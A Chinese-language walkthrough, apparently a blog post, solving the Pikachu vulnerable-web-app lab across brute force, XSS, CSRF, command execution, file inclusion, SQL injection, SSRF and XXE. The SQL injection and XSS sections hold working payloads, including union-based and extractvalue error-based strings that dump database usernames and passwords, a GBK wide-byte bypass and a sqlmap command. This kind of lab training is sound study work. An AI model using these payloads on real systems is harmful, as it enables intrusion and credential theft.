pikachu漏洞靶场通关
暴力破解
基于表单的暴力破解
抓取登录数据包
发送到intruder模块,设置爆破的参数
设置payload
开始爆破,从返回数据包长度判断爆破结果
绕过验证码(Server)
抓包分析,可以看到账号密码,验证码都正确会回显success
替换一个不存在的账号继续发包
仅提示账号不存在,说明验证码长期有效,可以爆破,爆破过程和上关一样
绕过验证码(client
抓包分析,刚开始输错了几次,发现校验是在前端
不用说了,直接爆破
token防爆破
抓包分析
随机生成token来校验数据包的唯一性,理论上是无法重复发包的,也就无法进行爆破,但是这里token回显在了前端
在分析数据包的时候,可以观察一些特定的变量名,很多key都藏在网页源码里
自动脚本
实现抓取key,并进行爆破
1 | import requests |
xss
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
反射型XSS(GET)
对输入长度有限制,直接在url里插入js代码
- payload
1
<script>alert(1)</script>
反射型XSS(POST)
抓包插入js
- payload
1
<script>alert(1)</script>
存储性XSS
和上关一样,区别就是这个是长久存在的
- payload
1 | <script>alert(1)</script> |
DOM-XSS
需要先将前面的a标签闭合
- payload
1
' onclike='alert(1)'
DOM-XSS-X
输入框输入的内容会被拼接为url
- payload
1 | '><img src="#" onmouseover="alert('xss')"> |
XSS盲打
无回显,有输入框就插入js
到后台查看
XSS之过滤
大小写绕过
- payload
1
<SCRipt>alert(1)</SCRIPt>
XSS之htmlspecialchars
<>被过滤
- payload
1
' onclick='alert(1)'
XSS之href
输入会被拼接到href属性里,单引号无法闭合,使用javascript:
来执行js代码
- payload
1
javascript:alert(/xss/)
XSS之js输出
插入js后发现没被闭合,将前面的标签闭合掉
- payload
1
</script><script>alert(/123/)</script>
CSRF
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
CSRF(GET)
使用google和edge分别登录两个不同的账号
使用google浏览器抓包修改数据包,发送给csrf poc
生成poc
复制url到edge打开
可以看到edge登录的账号个人信息已经修改
CSRF(GET)
同上,只不过换了请求方式
CSRF(TOKEN)
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
RCE
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。
exec “ping”
使用|
,管道符,将前一个命令执行的结果拿后面一个命令
exec eval
会执行php代码
FILE INCLUDE
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
file include(local)
读取/etc/passwd
file include(remote)
远程包含一句话
unsafe filedownload
复制图片下载链接,替换,会下载/etc/passwd文件
越权
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。
水平越权
先登录lucy账号
修改url为其他账号
产生水平越权
垂直越权
登录管理员账号,并添加用户
抓取添加用户的数据包
登录普通用户,抓取数据包,替换cookie到刚刚抓取的管理员数据包中的cookie
以普通用户的cookie进行操作
再次登录管理员账号,查看
添加用户成功
sql注入
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
分隔符和注释符
- url使用
空格
或者%20
- burp使用
+
- get使用
--+
注释 - post使用
#
注释
注入常用函数
- like ‘ro%’ # 判断ro或ro…是否成立
- regexp ‘^xiaodi[a-z]’ # 正则,匹配xiaodi及xiaodi…等
- if(条件,5,0) # 条件成立 返回5 反之 返回0
- sleep(5) # SQL语句延时执行5秒
- mid(a,b,c) # 从位置b开始,截取a字符串的c位
- substr(a,b,c) # 从b位置开始,截取字符串a的c长度,从1开始
- left(database(),1) # 从左侧截取a的前b位
- length(database())=8 # 判断数据库当前库名的长度
- ord=ascii ascii(x)=97 # 判断x的ascii码是否等于97
- limit(a,b) # 限制行数,从a条记录开始,返回b条记录 limit(1,1)
数字型注入(POST)
使用burpsuite抓包,对参数判断注入
1
id=1' and=1 &submit=%E6%9F%A5%E8%AF%A2
报错,尝试注入
尝试注入,2列
1
id=1 order by 2&submit=%E6%9F%A5%E8%AF%A2
爆出回显位
1
id=1 union select 1,2&submit=%E6%9F%A5%E8%AF%A2
爆库名
1
id=1 union select database(),user()&submit=%E6%9F%A5%E8%AF%A2
爆表名
1
2id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
&submit=%E6%9F%A5%E8%AF%A2爆字段
1
2id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
&submit=%E6%9F%A5%E8%AF%A2爆数据
1
2id=1 union select 1,(select concat(0x7e,group_concat(username,password),0x7e) from users )#
&submit=%E6%9F%A5%E8%AF%A2
字符型(get)
判断注入,字符型一般都需要闭合
1
http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=admin'1
报错,说明是由
'
引起的注入万能密码
1
http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=aa' or 1=1 --+
会爆出所有账号密码
判断列
1
http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=aa' order by 2 --+
回显正常说明2列
爆所有库名
1
http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=admin' union select 1,group_concat(schema_name) from information_schema.schemata--+
5.爆表名
1 | http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
6.爆列名
1 | http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+ |
7.爆数据
1 | http://10.20.146.195:8080/vul/sqli/sqli_str.php?name=admin' union select (select group_concat(username) from users),((select group_concat(password) from users))--+ |
搜索型注入
判断注入
1
http://10.20.146.195:8080/vul/sqli/sqli_search.php?name=1'
基于
'
注入万能密码
1
http://10.20.146.195:8080/vul/sqli/sqli_search.php?name=1' or 1=1 --+
会爆出所有密码
猜解列名
1
http://10.20.146.195:8080/vul/sqli/sqli_search.php?name=1' order by 3 --+
3回显正常,4报错,说明有3列
爆数据
如上
xx型注入
判断注入
1
http://10.20.146.195:8080/vul/sqli/sqli_x.php?name=1' --+
报错
闭合语句
1
http://10.20.146.195:8080/vul/sqli/sqli_x.php?name=1') and 1 = 1 --+
基于
')
引起的注入爆库
步骤如上
insert&update注入
insert
注册为insert注入,首先注册
判断注入
1
add=&email=&password=123&phonenum=&sex=&submit=submit&username=aa'
由
'
引起报错爆库
1
add=&email=&password=qwe&phonenum=&sex=&submit=submit&username=123' and extractvalue(0x0a,concat(0x0a,(select database()))) and '#
使用报错注入,必须要报错,所以使用
and
让语句报错爆表名
1
username=123' and extractvalue(0x0a,concat(0x0a,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32))) and ' #
但是报错注入
只会报出32个字符
,所以要使用偏移量substr爆列名
1
2username=123' and
extractvalue (1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,32),0x7e)) and ' #爆数据
1
2
3&username=123' and extractvalue(0x0a,concat(0x0a,substr((select group_concat(username) from users),1,32))) and ' #
&username=123' and extractvalue(0x0a,concat(0x0a,substr((select group_concat(password) from users),1,32))) and ' #
update
修改个人信息为update注入,先注册后登录
判断注入点
1
add=123'&email=111&phonenum=111&sex=%E7%94%B7&submit=submit
由
'
引起报错爆库名
1
add=123' and extractvalue(0x0a,concat(0x0a,(select database()))) #&email=111&phonenum=111&sex=%E7%94%B7&submit=submit
爆表名
1
add=123' and extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
后续操作如上
delete注入
判断注入
1
?id=56' --+
由
'
引起报错爆库名
1
?id=56 and extractvalue(0x0a,concat(0x0a,(select database()))) --+
使用报错注入
http头注入
- 抓包判断注入
由'
引起的注入
- 注入此处需要使用
1
1' and extractvalue(0x0a,concat(0x0a,(select database()))) and ' #
and '
闭合语句
基于boolian的盲注
没有回显,也没有报错信息,sqlmap直接梭哈
1 | sqlmap -u 'http://localhost/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2#' --batch --threads 10 --dbs |
基于时间的盲注
sqlmap梭哈
宽字节注入
在PHP配置文件中magic_quotes_gpc=On或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义',这样就使得多数注入攻击无效。
当输入单引号,假设这里我们使用addslashes转义,对应的url编码是:' –>\'–> %5c%27
当在前面引入一个ASCII大于128的字符【比如%df、%aa】,url编码变为:%df' –> %df\' –> (%df%5C)%27–>(数据库GBK)–>運'
前端输入**%df’时首先经过上面addslashes函数和浏览器url编码转义变成了%df%5c%27**
因为数据库使用GBK编码的话,**%df%5c会被当作一个汉字处理,转换成了汉字”運”**,从而使%27(单引号)逃出生天,成功绕过,利用这个特性从而可实施SQL注入的利用。 原文
- 爆列数
1
name=1%df' union select 1,2# &submit=%E6%9F%A5%E8%AF%A2
- 爆库名
1
name=1%df' union select 1,database()# &submit=%E6%9F%A5%E8%AF%A2
unsafe upfileupload
文件上传
客户端check
前端校验,抓包修改
服务端check
检查MIME,一样抓包修改
getimagesize()
上传图片马,配合文件包含漏洞或者解析漏洞
php反序列化
抓包可以发现是post方式,参数为o
代码审计
以post接受传参o的值,如果是序列化数据输出到html,否则打印””大兄弟,来点劲爆点儿的”
构造payload
1 | class S{ |
输出
1 | O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} |
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
1 | file_get_contents() |
SSRF(CURL)
读取本地文件
SSRF(file_get_contents)
同上
XXE
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
##漏洞危害:
1.读取系统文件;
2.执行系统命令;
3.探测内网端口;
4.攻击内部网络。
漏洞防御:
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。
因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
构造一个恶意的payload,通过外部实体引用从而去获取后台服务器的本地文件信息(注:外部引用可以支持http,file,ftp等协议。)
payload
1 |
|